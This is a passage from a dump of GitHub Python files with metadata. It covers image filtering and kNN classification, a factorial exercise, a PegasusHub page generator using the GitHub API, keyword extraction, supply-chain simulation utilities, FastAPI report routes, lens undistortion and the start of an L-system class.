math\n\n#\tarbitrary(image, filter):\n#\tRealiza a filtragem na imagem a partir de um filtro criado pelo usuário\n#\tParametros:\n#\t\timage -> a imagem\n#\t\tfilter -> o filtro\n#\tReturn:\n#\t\tA imagem filtrada e no domínio das frequencias\ndef arbitrary(image, filter):\n\tf_image = np.fft.fft2(image)\n\tf_filter = np.zeros(image.shape)\n\tf_filter[0:filter.shape[0], 0:filter.shape[1]] = filter[:, :]\n\tf_filter = np.fft.fft2(f_filter)\n\treturn np.multiply(f_image, f_filter)\n\n#\tnormalize_filter(filter):\n#\tNormaliza o filtro laplaciana da gaussiana\n#\tParametros:\n#\t\tfilter -> o filtro gerado\n#\tReturn:\n#\t\to filtro normalizado\ndef normalize_filter(filter):\n\tsum_pos = np.sum(filter[np.where(filter > 0)])\n\tsum_neg = np.sum(filter[np.where(filter < 0)])\n\n\tfor i in range (filter.shape[0]):\n\t\tfor j in range (filter.shape[1]):\n\t\t\tif (filter[i, j] < 0):\n\t\t\t\tfilter[i,j] = filter[i,j]*(-sum_pos/sum_neg)\n\n\treturn filter\n\n#\tgenerate_laplacian_gaussian_filter(n, sigma):\n#\tGera um filtro laplaciana da gaussiana dado um tamanho e um parametro sigma\n#\tParametros:\n#\t\tn -> tamanho do filtro\n#\t\tsigma -> valor sigma para gerar o filtro\n#\tReturn:\n#\t\to filtro gerado e normalizado\ndef generate_laplacian_gaussian_filter(n, sigma):\n\tX = np.empty(n)\n\tY = np.empty(n)\n\tM = np.empty((n, n))\n\tX[:] = np.linspace(-5.0, 5.0, n)\n\tY[:] = np.linspace(5.0, -5.0, n)\n\tfor i in range(n):\n\t\tfor j in range(n):\n\t\t\tM[i, j] = ((-1/(math.pi*math.pow(sigma, 4))) * (1 - (math.pow(X[j], 2) + math.pow(Y[i], 2))/(2*math.pow(sigma, 2))) * math.exp(-(math.pow(X[j], 2) + math.pow(Y[i], 2))/(2*math.pow(sigma, 2))))\n\n\treturn normalize_filter(M)\n\n#\tlaplacian_gaussian(image, n, sigma):\n#\tRealiza uma filtragem utilizando o filtro laplaciana da gaussiana\n#\tParametros:\n#\t\timg -> uma imagem\n#\t\tn -> tamanho do filtro\n#\t\tsigma -> valor sigma para gerar o filtro\n#\tReturn:\n#\t\timagem ja filtrada e no domínio das frequencias\ndef laplacian_gaussian(image, n, sigma):\n\tf_image = np.fft.fft2(image)\n\tf_filter = np.zeros(image.shape)\n\tfilter = generate_laplacian_gaussian_filter(n, sigma)\n\tf_filter[0:filter.shape[0], 0:filter.shape[1]] = filter[:, :]\n\tf_filter = np.fft.fft2(f_filter)\n\n\treturn np.multiply(f_image, f_filter)\n\n#\tconvolution(img, filter):\n#\tRealiza uma convolucao na image\n#\tParametros:\n#\t\timg -> uma imagem\n#\t\tfilter -> um filtro\n#\tReturn:\n#\t\timagem após a convolucao\ndef convolution(img, filter):\n\tpad = int(filter.shape[0]/2)\n\tdim_filter = filter.shape\n\tnew_img = np.zeros((img.shape[0], img.shape[1]), dtype=np.float)\n\timg = np.pad(img, ((pad, pad), (pad, pad)),'constant', constant_values = 0)\n\tfor i in range((img.shape[0] - dim_filter[0] + 1)):\n\t\tfor j in range((img.shape[1] - dim_filter[1] + 1)):\n\t\t\tnew_img[i, j] += np.sum(np.multiply(img[i:i+dim_filter[0],j:j+dim_filter[1]],filter))\n\n\treturn new_img\n\n#\tsobel(img):\n#\tRealiza uma filtragem na imagem utilizando o operador sobel\n#\tParametros:\n#\t\timg -> uma imagem\n#\tReturn:\n#\t\timagem ja filtrada e no domínio das frequencias\ndef sobel(img):\n\tFx = np.array([[1,0,-1],[2,0,-2],[1,0,-1]], np.float)\n\tFy = np.array([[1,2,1],[0,0,0],[-1,-2,-1]], np.float)\n\n\tIx = convolution(img, Fx)\n\tIy = convolution(img, Fy)\n\n\tIout = np.sqrt(np.multiply(Ix, Ix) + np.multiply(Iy, Iy))\n\n\treturn np.fft.fft2(Iout)\n\n#\tfirst_cut(img):\n#\tRealiza um corte da imagem para deixa-la com 1/4 de seu tamanho original\n#\tParametros:\n#\t\timg -> uma imagem\n#\tReturn:\n#\t\timagem cortada\ndef first_cut(img):\n\treturn img[0:int(img.shape[0]/2), 0:int(img.shape[1]/2)]\n\n#\tsecond_cut(img, cut_position):\n#\tRealiza um corte da imagem\n#\tParametros:\n#\t\timg -> uma imagem\n#\t\tcut_position -> posicoes onde os cortes serao realizados\n#\tReturn:\n#\t\timagem cortada\ndef second_cut(img, cut_position):\n\thi = int(img.shape[0] * cut_position[0])\n\thf = int(img.shape[0] * cut_position[1])\n\n\twi = int(img.shape[1] * cut_position[2])\n\twf = int(img.shape[1] * cut_position[3])\n\n\treturn img[hi:hf, wi:wf]\n\n#\tknn(Iout, dataset, k=1):\n#\tRealiza a classificação usando o algoritmo knn, com k = 1\n#\tParametros:\n#\t\tIout -> Imagem a ser classificada\n#\t\tdataset -> Conjunto de dados para comparar a imagem\n#\t\tk -> número de vizinhos,no caso, sempre 1\n#\tReturn:\n#\t\tindex -> indice do conjunto de labels que classifica a imagem\ndef knn(Iout, dataset, k=1):\n\tlowest_dist = float('inf')\n\tdist = 0.0\n\tfor row in range(dataset.shape[0]):\n\t\tres = np.absolute(Iout - dataset[row])\n\t\tdist = np.sqrt(np.sum(np.multiply(res, res)))\n\t\tif dist < lowest_dist:\n\t\t\tlowest_dist = dist\n\t\t\tindex = row\n\n\treturn index\n\n#Entrada de dados\nimg_name = str(input()).rstrip()\nmethod = int(input())\n\nif (method == 1):\n\tdim = np.array(input().split(), dtype=np.int)\n\tfilter = np.empty((dim[0], dim[1]), dtype=np.float)\n\n\tfor i in range(dim[0]):\n\t\tfilter[i] = np.array(input().split(), dtype=np.float)\n\nelif (method == 2):\n\tn = int(input())\n\tsigma = float(input())\n\n\ncut_position = np.array(input().split(), dtype=np.float)\n\ndataset_file_name = str(input()).rstrip()\nlabels_file_name = str(input()).rstrip()\n\noriginal = imageio.imread(img_name)\n\n#Realiza umas das filtragens escolhidas\nif (method == 1):\n\tIout = arbitrary(original, filter)\nelif (method == 2):\n Iout = laplacian_gaussian(original, n, sigma)\nelif (method == 3):\n\tIout = sobel(original)\n\n#Realiza o primeiro corte\nIcut1 = first_cut(Iout)\n\n#Realiza o segundo corte\nIcut2 = second_cut(Icut1, cut_position)\n\ndataset = np.load(dataset_file_name)\nlabels = np.load(labels_file_name)\n\n#Faz a classificação da imagem\nindex = knn(Icut2.flatten(), dataset, k=1)\n\nprint(labels[index])\nprint(index)\n","repo_name":"VitorGDellino/Image-Processing","sub_path":"T4/t4.py","file_name":"t4.py","file_ext":"py","file_size_in_byte":5619,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"27764755510","text":"def Fatorial (n):\n cont = 1\n fatorial = n\n while cont < n and cont <= n:\n fatorial = fatorial*(n - cont)\n cont = cont + 1\n return fatorial\n\nvalor = int(input('Informe o número que deseja calcular o Fatorial: '))\n\nwhile valor <= 0:\n valor = int(input('Número inválido, defina outro: '))\n\nres = Fatorial(valor)\n\nprint(f'O Fatorial de {valor} é: {res}')\n \n \n ","repo_name":"S4Muel-Silva/arquivos_bcc701","sub_path":"6_1/6_1atv2.py","file_name":"6_1atv2.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33788997061","text":"import datetime\nimport os\nimport requests\nimport yaml\nimport sys\n\nfrom string import Template\nimport logging\nimport logging.config\n\nfrom jsonschema import validate, Draft7Validator\nfrom jsonschema.exceptions import ValidationError\n\nHEADERS = {\n \"Accept\": \"application/vnd.github.mercy-preview+json\",\n \"Authorization\": \"token {}\".format(os.environ.get(\"PEGASUSHUB_TOKEN\", \"\")),\n}\n# HEADERS = {}\n\nSCHEMA = {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": {\n \"repo_name\": {\"type\": \"string\", \"minLength\": 1},\n \"organization\": {\"type\": \"string\", \"minLength\": 1},\n \"highlight\": {\"type\": \"boolean\"},\n \"training\": {\"type\": \"boolean\"},\n \"priority\": {\"type\": \"integer\", \"minimum\": 0, \"maximum\": 5},\n \"execution_sites\": {\n \"type\": \"array\",\n \"minItems\": 1,\n \"items\": {\n \"type\": \"string\",\n \"enum\": [\n \"CONDORPOOL\",\n \"SLURM\",\n \"SUMMIT_GLITE\",\n \"LSF\",\n \"SUMMIT_KUBERNETES\",\n ],\n },\n },\n },\n \"additionalProperties\": False,\n \"required\": [\"repo_name\", \"organization\"],\n \"anyOf\": [\n {\n \"not\": {\n \"properties\": {\"highlight\": {\"const\": True}},\n \"required\": [\"highlight\"],\n }\n },\n {\"required\": [\"priority\"]},\n ],\n },\n}\n\n\ndef validate_yaml(data):\n validator = Draft7Validator(SCHEMA)\n errors = sorted(validator.iter_errors(data), key=lambda e: e.path)\n is_error = False\n # print(error.path)\n for error in errors:\n if error.validator == \"anyOf\":\n print(error.context[-1])\n logger.error(error.context[-1])\n elif error.validator in [\"type\", \"maximum\", \"minimum\"]:\n print(\n error.message,\n \" in \",\n error.schema_path[-2],\n \" at index \",\n error.json_path.split(\"]\")[0][2:],\n )\n logger.error(\n f\"{error.message} in {error.schema_path[-2]} at index {error.json_path.split(']')[0][2:]}\"\n )\n else:\n print(error.message)\n logger.error(error.message)\n is_error = True\n return is_error\n\n\ndef get_repo_info(w, response):\n logger.info(f\"{w['repo_name']} is being populated\\n\")\n # repo general information\n w[\"title\"] = response[\"name\"]\n w[\"stargazers\"] = response[\"stargazers_count\"]\n w[\"default_branch\"] = response[\"default_branch\"]\n w[\"subtitle\"] = (\n response[\"description\"]\n if response[\"description\"]\n else \"No description provided\"\n )\n w[\"license\"] = (\n response[\"license\"][\"name\"] if response[\"license\"] else \"No license available\"\n )\n w[\"issues\"] = response[\"open_issues\"]\n w[\"forks\"] = response[\"forks\"]\n\n # date\n date = datetime.datetime.strptime(response[\"updated_at\"], \"%Y-%m-%dT%H:%M:%SZ\")\n w[\"year\"] = date.strftime(\"%Y\")\n w[\"month\"] = date.strftime(\"%b\")\n w[\"monthn\"] = date.strftime(\"%m\")\n w[\"day\"] = date.strftime(\"%d\")\n\n # topics\n w[\"topics\"] = \"No topics available\"\n w[\"tags\"] = \"\"\n topics = response[\"topics\"]\n if len(topics) > 0:\n w[\"topics\"] = \"\"\n for topic in topics:\n w[\"topics\"] += '<span class=\"topic\">{}</span>  '.format(topic)\n w[\"tags\"] += \"{} \".format(topic)\n\n # releases\n url = response[\"releases_url\"]\n r = requests.get(url[:-5], headers=HEADERS)\n data = r.json()\n w[\"release\"] = \"No release available\"\n w[\"releases\"] = len(data)\n if len(data) > 0:\n date = datetime.datetime.strptime(data[0][\"published_at\"], \"%Y-%m-%dT%H:%M:%SZ\")\n release_date = date.strftime(\"%d %b %Y\")\n w[\n \"release\"\n ] = '<a href=\"{}\" target=\"_blank\">{}</a> <span class=\"release-date\">({})</span>'.format(\n data[0][\"html_url\"], data[0][\"name\"], release_date\n )\n\n # contributors\n r = requests.get(response[\"contributors_url\"], headers=HEADERS)\n data = r.json()\n w[\"contributors\"] = len(data)\n w[\"contributors_list\"] = \"\"\n for c in data:\n w[\n \"contributors_list\"\n ] += '<a href=\"{}\" target=\"_blank\"><img src=\"{}\" width=\"32\" height=\"32\"/></a>  '.format(\n c[\"html_url\"], c[\"avatar_url\"]\n )\n\n return w\n\n\ndef get_metadata(w, branch):\n # try:\n r = requests.get(\n \"https://raw.githubusercontent.com/{}/{}/{}/.pegasushub.yml\".format(\n w[\"organization\"], w[\"repo_name\"], branch\n )\n )\n w[\"pegasus_version\"] = \"No version information available\"\n w[\"dependencies\"] = \"No dependencies information available\"\n r.raise_for_status()\n if r.ok:\n data = yaml.safe_load(r.text)\n\n try:\n w[\"pegasus_version\"] = \">= \" + data[\"pegasus\"][\"version\"][\"min\"]\n if (\n data[\"pegasus\"][\"version\"][\"min\"] == None\n and data[\"pegasus\"][\"version\"][\"max\"]\n ):\n w[\"pegasus_version\"] = \"<= \" + data[\"pegasus\"][\"version\"][\"max\"]\n elif (\n data[\"pegasus\"][\"version\"][\"min\"] != data[\"pegasus\"][\"version\"][\"max\"]\n and data[\"pegasus\"][\"version\"][\"max\"]\n ):\n w[\"pegasus_version\"] = (\n \"[\"\n + data[\"pegasus\"][\"version\"][\"min\"]\n + \", \"\n + data[\"pegasus\"][\"version\"][\"max\"]\n + \"]\"\n )\n except:\n pass\n\n try:\n w[\"dependencies\"] = \"\"\n for dep in data[\"dependencies\"]:\n if w[\"dependencies\"]:\n w[\"dependencies\"] += \", \"\n w[\"dependencies\"] += dep\n except:\n w[\"dependencies\"] = \"No dependencies information available\"\n\n # metadata information\n if \"training\" not in w:\n w[\"training\"] = \"False\"\n if \"highlight\" not in w:\n w[\"highlight\"] = \"False\"\n if \"priority\" not in w:\n w[\"priority\"] = 0\n if \"execution_sites\" not in w:\n w[\"execution_sites\"] = []\n\n return w\n\n # except Exception as e:\n # print(e)\n # logger.error(e)\n # return w\n\n\ndef write_to_file(w):\n with open(\"scripts/workflow.html.in\") as f:\n template = Template(f.read())\n contents = template.substitute(w)\n\n # write workflows data\n with open(\n \"_workflows/{}-{}.html\".format(w[\"organization\"], w[\"repo_name\"]), \"w\"\n ) as f:\n f.write(contents)\n\n\ndef initiliaze_logger():\n if not os.path.exists(\"./_workflows\"):\n os.makedirs(\"./_workflows\")\n if not os.path.exists(\"./logs\"):\n os.makedirs(\"./logs\")\n if not os.path.exists(\"./logs/logs.txt\"):\n with open(\"logs/logs.txt\", \"w\") as f:\n f.write(\"\")\n logging.basicConfig(\n filename=\"logs/logs.txt\",\n format=\"%(asctime)s %(levelname)s %(message)s\",\n level=logging.DEBUG,\n )\n return logging.getLogger(__name__)\n\n\nif __name__ == \"__main__\":\n logger = initiliaze_logger()\n\n workflows = []\n # read list of workflow repositories\n with open(\"_data/workflows.yml\") as f:\n workflows = yaml.safe_load(f)\n\n if validate_yaml(workflows):\n sys.exit()\n\n for w in workflows:\n try:\n url = \"https://api.github.com/repos/{}/{}\".format(\n w[\"organization\"], w[\"repo_name\"]\n )\n r = requests.get(url, headers=HEADERS)\n r.raise_for_status()\n logger.info(\"Looking up repository %s\", url)\n if r.status_code == 404:\n # repo has been deleted / not found / is private\n dt = datetime.datetime.now()\n curr_time = dt.strftime(\"%d/%m/%Y %H:%M:%S\")\n logger.warning(\n f\"{w['repo_name']} has been deleted or made private from {w['organization']}\"\n )\n continue\n\n response = r.json()\n w = get_repo_info(w, response)\n w = get_metadata(w, response[\"default_branch\"])\n write_to_file(w)\n except Exception as e:\n print(e)\n logger.error(e)\n","repo_name":"pegasushub/pegasushub.github.io","sub_path":"scripts/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":8443,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"8092392678","text":"from _init import *\n\nfrom commons import file_util, string_util\n\nfrom models.default_model import DefaultModel\nfrom models.module.keyword_extractor import KeywordExtractor\nfrom models.module.josa_extractor import JosaExtractor\n\nclass KeywordExtractModel(DefaultModel) :\n# class KeywordExtractModel :\n '''\n Constructor\n 1. josa_extract : 조사 추출하는 객체\n '''\n def __init__(self, max_seq_len: int, dropout_rate=0.3, num_labels=2, model_name='klue/bert-base'):\n super().__init__(max_seq_len, dropout_rate, num_labels, model_name)\n self.josa_extract = JosaExtractor()\n\n '''\n Methods\n 1. make_train_data\n 2. _make_train_data\n 3. predict\n '''\n def make_train_data(self, in_path: str, in_keyword_path: str, out_file_path: str, delim=\"\\t\", encoding=\"UTF-8\") :\n if file_util.exists(out_file_path) :\n os.remove(out_file_path)\n\n in_file_paths = file_util.get_file_paths(in_path, True)\n\n for in_file_path in in_file_paths :\n self._make_train_data(in_file_path, in_keyword_path, out_file_path, delim, encoding)\n\n def _make_train_data(self, in_file_path: str, in_keyword_path: str, out_file_path: str, delim: str, encoding: str) :\n in_file = file_util.open_file(in_file_path, encoding, \"r\")\n out_file = file_util.open_file(out_file_path, encoding, \"a\")\n\n while True :\n line = in_file.readline()\n\n if not line :\n break\n\n line = file_util.preprocess(line)\n\n if string_util.is_empty(line, True) :\n continue\n\n keyword = KeywordExtractor()\n keyword.set(line, in_keyword_path, encoding)\n\n feature_label_datas = keyword.get_feature_label_datas()\n feature_label_datas_len = len(feature_label_datas[0])\n\n for i in range(feature_label_datas_len) :\n out_file.write(f\"{feature_label_datas[0][i]}{delim}{feature_label_datas[1][i]}\\n\")\n\n in_file.close()\n out_file.close()\n\n def predict(self, text: str, in_dir: str) :\n keywords = []\n sentences = []\n\n keyword = KeywordExtractor()\n keyword.set(text, in_dir)\n\n feature_label_datas = keyword.get_feature_label_datas(is_train=False)\n predict_xs, _ = self.reformator.reformat_datas(feature_label_datas)\n\n predict_ys = super()._predict(predict_xs)\n print(f\"predict_ys : {predict_ys}\")\n\n eojeol_list = keyword.eojeol_list\n eojeol_len = len(eojeol_list)\n\n start, idx = 0, 0\n for i in range(eojeol_len) :\n if i == eojeol_len - 1 and predict_ys[i] == 1 :\n self.josa_extract.set_text(\"\".join(eojeol_list[start:]))\n sentences.append(\" \".join(eojeol_list[start:]))\n keywords.append(\"\".join(self.josa_extract.extract_josa()[start:]))\n keyword.write_keyword_set(f\"{in_dir}train_keyword_set.txt\")\n break\n elif i == eojeol_len - 1 :\n sentences.append(\" \".join(eojeol_list[start:]))\n keywords.append(\"\")\n elif predict_ys[i] == 1 :\n self.josa_extract.set_text(\"\".join(eojeol_list[start:i+1]))\n sentences.append(\" \".join(eojeol_list[start:i+1]))\n keywords.append(\"\".join(self.josa_extract.extract_josa()[idx]))\n keyword.write_keyword_set(f\"{in_dir}train_keyword_set.txt\")\n start = i + 1\n idx += 1\n else :\n sentences.append(\" \".join(eojeol_list[start:i+1]))\n keywords.append(\"\")\n start = i + 1\n\n return [sentences, keywords]","repo_name":"Mujoung-Kim/Seems","sub_path":"models/keyword_extract_model.py","file_name":"keyword_extract_model.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"75102922072","text":"import coremltools\nimport argparse\n\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=True,\n\thelp=\"path of image\")\nargs = vars(ap.parse_args())\n\n# Load the model\nmodel = coremltools.models.MLModel('waterpredict.mlmodel')\n\n# Make predictions\npredictions = model.predict(args[\"image\"])\n\nprint(predictions)","repo_name":"jlbwm/water_app","sub_path":"waterquality_Flask/modelEvaluation.py","file_name":"modelEvaluation.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"26714824301","text":"# Please write a program using generator to print the numbers which can be divisible by 5 and 7 between 0 and n\n# in comma separated form while n is input by console.\n\n\ndef divisible_by_5_and_7_generator(number):\n counter = 0\n while counter <= number:\n if counter % 5 == 0 and counter % 7 == 0:\n yield counter\n counter += 1\n\n\nnumbers = []\n\nfor index in divisible_by_5_and_7_generator(number=int(input('liczba:\\n'))):\n numbers.append(index)\n\nprint(numbers)\n\n\ndef num_generator(value):\n for i in range(value+1):\n if i % 5 == 0 and i % 7 == 0:\n yield i\n\nvalues = []\nfor i in num_generator(value=int(input('liczba:\\n'))):\n values.append(str(i))\n\nprint(','.join(values))","repo_name":"MichalDrosio/python-basic","sub_path":"divisible_by_5_and_7_generator.py","file_name":"divisible_by_5_and_7_generator.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"970442832","text":"\"\"\"utilities_LBrands contains a collection of internal utilities that perform simple actions available for\nmultiple scripts.\"\"\"\n\nimport sys\nimport datetime\nimport sim_server\nsys.path.append(\"C:\\\\Python26\\\\SCG_64\\\\Lib\")\nfrom bisect import bisect\nimport math\n\nlow, med, high = 2, 5, 9\ndebug_obj = sim_server.Debug()\nmodel_obj = sim_server.Model()\n\n\ndef list_stddev(data_list):\n st_dev = 0\n if len(data_list) <= 1:\n return 0\n mean = sum(data_list) / len(data_list)\n for el in data_list:\n st_dev += (el - mean)**2\n st_dev = (st_dev / (len(data_list))) ** .5\n return st_dev\n\n\ndef list_mean(data_list):\n if len(data_list) == 0:\n return 0\n return sum(data_list) / len(data_list)\n\n\ndef get_forecast_values(site_product_obj, forecast_dict, start_date, forecast_window):\n # calculate the end date as start date + forecast window\n end_date = start_date + datetime.timedelta(days=math.ceil(forecast_window))\n\n # get the list of dates in the dictionary (keys) and then collect the dates between start and end\n date_keys = forecast_dict.keys()\n date_keys = sorted(date_keys)\n # debug_obj.trace(1, 'DELETE here 02-A')\n start_index = get_index(date_keys, start_date, 'start')\n # debug_obj.trace(1, 'DELETE here 02-B')\n end_index = get_index(date_keys, end_date, 'end')\n # debug_obj.trace(1, 'DELETE here 02-C')\n\n date_list = date_keys[start_index:end_index]\n # debug_obj.trace(1, 'DELETE start idx %s, end idx %s, date_list:' % (start_index, end_index))\n # debug_obj.trace(1, 'DELETE %s' % date_list)\n # debug_obj.trace(1, '%s, %s, %s, %s, %s, %s, %s, %s' % (sim_server.NowAsString(), site_product_obj.site.name,\n # site_product_obj.product.name, start_date, date_list[0],\n # end_date, date_list[-1], len(date_list)),\n # 'forecast_dates.csv')\n value_list = []\n for n in date_list:\n value_list.append(forecast_dict[n])\n # debug_obj.trace(1, 'DELETE here 02-D')\n # debug_obj.trace(1, 'DELETE value_list:')\n # debug_obj.trace(1, 'DELETE value sum %s' % sum(value_list))\n\n return value_list\n\n\ndef get_site(site_name):\n for site in model_obj.sites:\n if site.name == site_name:\n return site\n\n\ndef log_error(error_string):\n log_error_list = model_obj.getcustomattribute('log_error')\n log_error_list.append([0, 1, 1, error_string])\n model_obj.setcustomattribute('log_error', log_error_list)\n\n\ndef is_empty(any_structure):\n if any_structure:\n return False\n else:\n return True\n\n\ndef z_score_lookup(p_score):\n z_score_table = model_obj.getcustomattribute('z_score_table')\n if z_score_table[p_score]:\n return z_score_table[p_score]\n else:\n return 0.0\n\n\ndef get_datetime(dt):\n date_dict = model_obj.getcustomattribute('date_dict')\n if dt in date_dict:\n return date_dict[dt]\n\n else:\n fmts = [\n \"%Y-%m-%d %H:%M\",\n \"%Y-%m-%d %H:%M:%S\",\n \"%Y-%m-%d\",\n \"%m/%d/%Y %H:%M\",\n \"%m/%d/%Y %H:%M:%S\",\n \"%m/%d/%Y\"\n ]\n for fmt in fmts:\n try:\n date_dict[dt] = datetime.datetime.strptime(dt, fmt)\n model_obj.setcustomattribute('date_dict', date_dict)\n return datetime.datetime.strptime(dt, fmt)\n except ValueError:\n pass\n\n return datetime.datetime(1970, 1, 1)\n\n\ndef get_snapshot_forecast(site_product_obj, snapshot_date):\n \"\"\"\n This method loops through the list of possible forecast snapshots for a site-product and finds the closest\n :param site_product_obj:\n :param snapshot_date:\n :return: the forecast dictionary associated with the given snapshot date\n \"\"\"\n\n # get the forecast_dict for the site_product\n forecast_dict = site_product_obj.getcustomattribute('forecast_dict')\n # debug_obj.trace(1, 'DELETE here 01-A')\n\n # find the snapshot date to match the input date (may be a range)\n snapshot_dates = forecast_dict.keys()\n snapshot_dates = sorted(snapshot_dates)\n # debug_obj.trace(1, 'DELETE here 01-B')\n idx = get_index(snapshot_dates, snapshot_date, 'snapshot')\n # debug_obj.trace(1, 'DELETE here 01-C')\n forecast_snapshot_dt = snapshot_dates[idx]\n # debug_obj.trace(1, 'DELETE here 01-D')\n # debug_obj.trace(1, '%s,%s,%s,%s,%s,%s,%s' %\n # (sim_server.NowAsString(), site_product_obj.site.name, site_product_obj.product.name,\n # snapshot_date, snapshot_dates, idx, forecast_snapshot_dt),\n # 'snapshot_dates.csv')\n # get the forecast values for the given snapshot date\n try:\n forecast_dict = forecast_dict[forecast_snapshot_dt]\n # debug_obj.trace(1, 'DELETE here 01-E_success')\n return forecast_dict\n except:\n # debug_obj.trace(1, 'DELETE here 01-E_failure')\n msg = 'No forecast found for site %s product %s snapshot date %s' % (site_product_obj.site.name,\n site_product_obj.product.name,\n forecast_snapshot_dt)\n debug_obj.trace(low, msg)\n log_error(msg)\n\n return forecast_dict[0]\n\n\ndef get_index(date_list, find_date, find_type):\n # debug_obj.trace(1, 'DELETE start_date %s, find_type %s, date_keys: ' % (find_date, find_type))\n # debug_obj.trace(1, 'DELETE %s' % date_list)\n if find_date in date_list:\n # debug_obj.trace(1, 'DELETE found - in data list')\n index = date_list.index(find_date)\n elif find_date > date_list[-1]:\n # debug_obj.trace(1, 'DELETE found > index -1 = %s' % date_list[-1])\n index = date_list.index(date_list[-1])\n elif find_date < date_list[0]:\n # debug_obj.trace(1, 'DELETE found < index 0 = %s' % date_list[0])\n index = 0\n else:\n # debug_obj.trace(1, 'DELETE found bisect')\n index = bisect(date_list, find_date)\n if find_type == 'snapshot':\n index -= 1\n idx_type = 'bisect'\n # debug_obj.trace(1, 'DELETE index = %s' % index)\n return index\n","repo_name":"gaplank0112/SimScripts_LBrands","sub_path":"utilities_LBrands.py","file_name":"utilities_LBrands.py","file_ext":"py","file_size_in_byte":6258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"4493159232","text":"from pathlib import Path\nfrom typing import List\n\nfrom fastapi import APIRouter, Depends, Request, status\nfrom fastapi.responses import RedirectResponse\nfrom fastapi.templating import Jinja2Templates\n\nfrom app.db import ReportHistoryManager\nfrom app.models import User, ReportRecord, CreateReportRecord\nfrom app.users import current_active_user, optional_current_active_user\nfrom config.logger import client_logger\n\nlogger = client_logger.get_logger(__name__)\nBASE_PATH = Path(__file__).parent.parent\n\nTEMPLATES = Jinja2Templates(directory=str(BASE_PATH / \"templates\"))\n\nrouter = APIRouter()\n\n\n@router.get(\"/\", response_model=List[ReportRecord])\nasync def get_report_history(request: Request, user: User = Depends(optional_current_active_user)):\n if user:\n return TEMPLATES.TemplateResponse(\n \"report_history.html\",\n {\n \"request\": request,\n \"report_history\": await ReportHistoryManager(user).retrieve_records(),\n \"user_name\": user.email,\n \"user_id\": user.id,\n }\n )\n else:\n logger.info(\"Unauthorized user, redirecting to sign in page\")\n return RedirectResponse(url=\"/auth/signin\", status_code=status.HTTP_302_FOUND)\n\n\n@router.get(\"/{report_id}\", response_model=ReportRecord)\nasync def get_record(report_id: str, user: User = Depends(current_active_user)):\n return await ReportHistoryManager(user).get_record(report_id)\n\n\n@router.post(\"/\", response_model=ReportRecord)\nasync def create_record(record: CreateReportRecord, user: User = Depends(current_active_user)):\n return await ReportHistoryManager(user).create_record(record)\n","repo_name":"vkhoroshchak/mr-client","sub_path":"app/report_history.py","file_name":"report_history.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"35881596382","text":"from typing import Any, Union\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib.image as mpimg\n\ndef spacialX(u,cx,fx):\n return (u-cx)/fx\ndef spacialY(v,cy,fy):\n return (v-cy)/fy\ndef xDistortion(k1,k2,k3,p1,p2,x,y):\n r_squared =x**2+y**2\n delta_x = (k1*r_squared + k2*r_squared**2 + k3*r_squared**3)*x + p2*(r_squared+2*x**2) + 2*p1*x*y\n return delta_x\ndef yDistortion(k1,k2,k3,p1,p2,x,y):\n r_squared = x**2 + y**2\n delta_y = (k1*r_squared + k2*r_squared**2 + k3*r_squared**3)*y + p1*(r_squared+2*y**2) + 2*p2*x*y\n return delta_y\ndef projectUndistortedX(cx,fx,x,delta_x):\n return cx + fx*(x+delta_x)\ndef projectUndistortedY(cy,fy,y,delta_y):\n return cy + fy*(y+delta_y)\ndef undistortX(cx,fx,k1,k2,k3,p1,p2,u,v):\n x = spacialX(u , cx , fx)\n y = spacialY(v , cy , fy)\n delta_x = xDistortion(k1,k2,k3,p1,p2,x,y)\n return int(np.round(projectUndistortedX(cx,fx,x,delta_x)))\ndef undistortY(cx,fx,k1,k2,k3,p1,p2,u,v):\n x = spacialX(u, cx, fx)\n y = spacialY(v , cy , fy)\n delta_y = yDistortion(k1,k2,k3,p1,p2,x,y)\n return int(np.round(projectUndistortedY(cx,fx,y,delta_y)))\n\n#camera intrinsics and extrinsics\nfx = 9.842439e+02\ncx = 6.900000e+02\nfy = 9.808141e+02\ncy = 2.331966e+02\nk1 = -3.728755e-01\nk2 = 2.037299e-01\np1 = 2.219027e-03\np2 = 1.383707e-03\nk3 = -7.233722e-02\nimg = mpimg.imread('data/kitti.jpg')\ny,x,_ = np.shape(img)\nnewImg = np.zeros((y,x,3),dtype = 'int')\nfor i in range(0,y):\n for j in range(0,x):\n newX = undistortX(cx,fx,k1,k2,k3,p1,p2,j,i)\n newY = undistortY(cy, fy, k1, k2, k3, p1, p2, j, i)\n if(newY > y):\n print(newY)\n newImg[i,j,:] =img[newY,newX,:]\nplt.subplot(211)\nplt.imshow(newImg)\nplt.suptitle('undistorted image top and original bottom')\nplt.subplot(212)\nplt.imshow(img)\nplt.show()","repo_name":"KjetilSekseKristiansen/Robotic-vision","sub_path":"assignment2/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9903830704","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 14 12:18:23 2023\n\n@author: Evgeniy\n\"\"\"\n\nimport py5\n\n\"\"\"\n\"\"\"\n\nclass LSystem:\n def __init__(self, axiom, ruleset):\n self.sentence = axiom\n self.ruleset = ruleset\n self.generation = 